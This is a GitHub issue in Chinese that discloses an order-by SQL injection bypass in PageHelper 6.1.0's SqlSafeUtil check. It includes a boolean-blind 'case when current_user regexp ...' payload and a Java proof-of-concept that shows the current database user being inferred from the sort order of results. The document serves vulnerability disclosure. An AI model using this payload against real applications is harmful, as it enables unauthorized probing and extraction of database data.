Skip to content

Sql语法检查不严格导致的SQL注入 #854

@SvanurH

Description

@SvanurH

通过本地测试最新包发现此问题:pagehelper:6.1.0

你好,我发现在SqlSafeUtil类中,对传入的Order by参数校验并不严格,从而导致了sql注入。

以下是我的复现过程:

当order by参数传入case when current_user regexp 0x726f6f74 then 1 else 2 end的时候,并不会触发SqlSafeUtil的检测,其构造成了一个布尔盲注,通过返回值的排序不同来判断逻辑语句是否执行成功。

我简单的编写了一个类来测试这个问题:

import com.github.pagehelper.PageException;
import com.github.pagehelper.util.SqlSafeUtil;
import java.sql.*;


class Test {

    public static Boolean setOrderBy(String orderBy) {
        if (SqlSafeUtil.check(orderBy)) {
            throw new PageException("order by [" + orderBy + "] has a risk of SQL injection, " +
                    "if you want to avoid SQL injection verification, you can call Page.setUnsafeOrderBy");
        }
        return true;
    }

    public static void main(String[] args) {
        String url = "jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=utf8&useSSL=true";
        String username = "root";
        String password = "123456";

        String payload = "case when current_user regexp 0x726f6f74 then uuid else id end ASC";

        String baseSql = "SELECT * FROM users ORDER BY ";
        String sql = baseSql;

        if (setOrderBy(payload)) {
            if (setOrderBy(payload)) {
                sql += payload;
            }
        }

        try (
                Connection conn = DriverManager.getConnection(url, username, password);
                Statement stmt = conn.createStatement();
                ResultSet rs = stmt.executeQuery(sql)
        ) {
            while (rs.next()) {
                System.out.println("id:"+rs.getString(1)+"---uuid:"+rs.getString(2)+"---user:"+rs.getString(3));
            }
        } catch (SQLException ex) {
            ex.printStackTrace();
        }
    }
}

这是我的表内容

Image

当前的数据库用户为root,其16进制编码为0x726f6f74

可以看到,如果运行这条sql语句(payload为case when current_user regexp 0x726f6f74 then uuid else id end ASC,即判断当前用户是否为root),那么返回结果将会以uuid进行升序排序,否则则会以id进行升序排序,以下是运行结果:

Image

将逻辑中的16进制root更改为其他无效用户(admin,0x61646d696e),再次进行验证

Image

其成功的返回了相应的结果(以id进行排序)。由此可判断其具有SQL注入漏洞。

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions